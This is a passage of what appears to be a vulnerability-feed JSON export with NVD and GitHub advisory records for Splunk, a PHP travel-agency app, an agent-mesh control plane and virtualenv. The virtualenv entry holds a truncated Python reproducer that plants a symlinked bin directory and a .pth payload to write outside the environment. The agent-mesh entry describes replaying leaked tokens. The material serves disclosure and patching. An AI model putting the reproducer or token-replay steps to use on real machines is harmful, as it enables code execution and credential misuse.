(https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.6/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.\nFor more information see authorize.conf (https://help.splunk.com/en/data-management/splunk-enterprise-admin-manual/10.6/configuration-file-reference/10.6.0-configuration-file-reference/authorize.conf) in the Splunk documentation.","detail":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the scheduled search workflow. The user could then run risky Search Processing Language (SPL) commands that disclose or alter Splunk Enterprise data or disrupt Splunk Enterprise availability.\nThe vulnerability is possible because the Splunk Enterprise search scheduler does not apply SPL safeguards for risky commands to scheduled searches.\nFor more information see SPL safeguards for risky commands (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.6/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.\nFor more information see authorize.conf (https://help.splunk.com/en/data-management/splunk-enterprise-admin-manual/10.6/configuration-file-reference/10.6.0-configuration-file-reference/authorize.conf) in the Splunk documentation.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:26.943Z","updatedAt":"2026-10-23T12:18:16.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76291","asOf":"2026-10-23T12:18:16.280Z"},"epss":{"probability":0.00411,"percentile":0.35085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76291","type":"primary","publishedAt":"2026-10-21T23:17:26.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76290","cveId":"CVE-2026-76290","aliases":[],"kind":"vulnerability","title":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk...","summary":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding.\nThe vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request.\nAfter upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads).","detail":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding.\nThe vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request.\nAfter upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:26.820Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76290","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00497,"percentile":0.42357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76290","type":"primary","publishedAt":"2026-10-21T23:17:26.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76290, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76288","cveId":"CVE-2026-76288","aliases":[],"kind":"vulnerability","title":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint...","summary":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint and cause Splunk Web to stop responding to requests. Splunk Web remains unavailable until Splunk Enterprise is restarted.\nThe vulnerability is possible because Splunk Web does not limit request-header parsing before processing the request.","detail":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint and cause Splunk Web to stop responding to requests. Splunk Web remains unavailable until Splunk Enterprise is restarted.\nThe vulnerability is possible because Splunk Web does not limit request-header parsing before processing the request.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:26.537Z","updatedAt":"2026-10-22T16:57:10.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76288","asOf":"2026-10-22T16:57:10.180Z"},"epss":{"probability":0.00472,"percentile":0.40546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76288&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76288","type":"primary","publishedAt":"2026-10-21T23:17:26.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76288&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76288, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114441","cveId":"CVE-2026-114441","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php.","summary":"A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php. This manipulation of the argument action/full_name/visa_no/hiden/title/description/page_id/user causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php. This manipulation of the argument action/full_name/visa_no/hiden/title/description/page_id/user causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:25.927Z","updatedAt":"2026-10-23T22:16:57.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114441","asOf":"2026-10-23T22:16:57.083Z"},"epss":{"probability":0.00419,"percentile":0.35917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114441","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114441","type":"primary","publishedAt":"2026-10-21T23:17:25.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114440","cveId":"CVE-2026-114440","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php.","summary":"A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php. The manipulation of the argument costomer_id/ticket_id/payment_id/id/document_id/salary_id/emp_id/user_id leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php. The manipulation of the argument costomer_id/ticket_id/payment_id/id/document_id/salary_id/emp_id/user_id leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:25.677Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114440","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00343,"percentile":0.2757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114440","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114440","type":"primary","publishedAt":"2026-10-21T23:17:25.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114439","cveId":"CVE-2026-114439","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session...","summary":"A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session Handler. Executing a manipulation of the argument user_id can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session Handler. Executing a manipulation of the argument user_id can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:25.357Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114439","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00537,"percentile":0.44981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114439","type":"primary","publishedAt":"2026-10-21T23:17:25.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103090","cveId":"CVE-2026-103090","aliases":[],"kind":"vulnerability","title":"Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET...","summary":"Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET /enroll/status in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow an unauthenticated remote attacker to retrieve an approved bootstrap-enrolled peer's signed Biscuit identity token by supplying a peer_id obtainable from the unauthenticated GET /info endpoint. A related flaw in POST /enroll allowed any bootstrap-token holder to re-fetch another peer's credential. An attacker can replay the disclosed Biscuit token as a bearer credential on /policies to read mesh authorization policies and on /routers/lease to overwrite advertised router multiaddrs. Users should upgrade to version 0.1.0-alpha.9 or later, which requires cryptographic proof of possession of the enrollment private key on credential-releasing endpoints, enforces rate limiting, and validates router lease addresses.","detail":"Missing Authentication for Critical Function (CWE-306) and Insufficiently Protected Credentials (CWE-522) in the control plane enrollment status handler (HandleEnrollStatus at GET /enroll/status in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow an unauthenticated remote attacker to retrieve an approved bootstrap-enrolled peer's signed Biscuit identity token by supplying a peer_id obtainable from the unauthenticated GET /info endpoint. A related flaw in POST /enroll allowed any bootstrap-token holder to re-fetch another peer's credential. An attacker can replay the disclosed Biscuit token as a bearer credential on /policies to read mesh authorization policies and on /routers/lease to overwrite advertised router multiaddrs. Users should upgrade to version 0.1.0-alpha.9 or later, which requires cryptographic proof of possession of the enrollment private key on credential-releasing endpoints, enforces rate limiting, and validates router lease addresses.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T23:17:24.990Z","updatedAt":"2026-10-22T16:18:19.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103090","asOf":"2026-10-22T16:18:19.040Z"},"epss":{"probability":0.00335,"percentile":0.26616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103090","type":"primary","publishedAt":"2026-10-21T23:17:24.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113716","cveId":"CVE-2026-113716","aliases":["GHSA-cw65-gx24-rc82"],"kind":"vulnerability","title":"virtualenv: Builtin creation follows linked environment directories","summary":"The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.\nWith the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared destination\n participant V as Builtin creator\n participant L as venv/bin symlink\n participant H as ~/.local/bin\n participant U as User\n A->>L: point to ../../.local/bin\n V->>L: ensure_dir accepts existing directory link\n V->>H: write python, pip and activate files through link\n V-->>U: creation reports success\n U->>H: run pip found on PATH\n H->>A: interpreter loads planted .pth\n A-->>U: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n local_bin = home / \".local/bin\"\n user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ['PATH']}\"}\n local_bin_before = set(os.listdir(local_bin))\n payload_marker = home / \"PWNED\"\n\n # the attacker's checkout arrives at ~/project\n subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n venv = home / \"project/venv\"\n print(f\"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}\")\n\n # default options; the flag only keeps the run off the network\n subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n payload_ran_at_creation = payload_marker.exists()\n print(f\"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}\")\n print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n # later, in another folder, the user runs pip\n pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n return written, payload_marker.exists() and not payload_ran_at_creation\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_stay\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:35:56.000Z","updatedAt":"2026-10-21T21:35:58.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-cw65-gx24-rc82","asOf":"2026-10-21T21:35:58.000Z"},"epss":{"probability":0.00144,"percentile":0.03634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cw65-gx24-rc82","url":"https://github.com/advisories/GHSA-cw65-gx24-rc82","type":"primary","publishedAt":"2026-10-21T21:35:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API 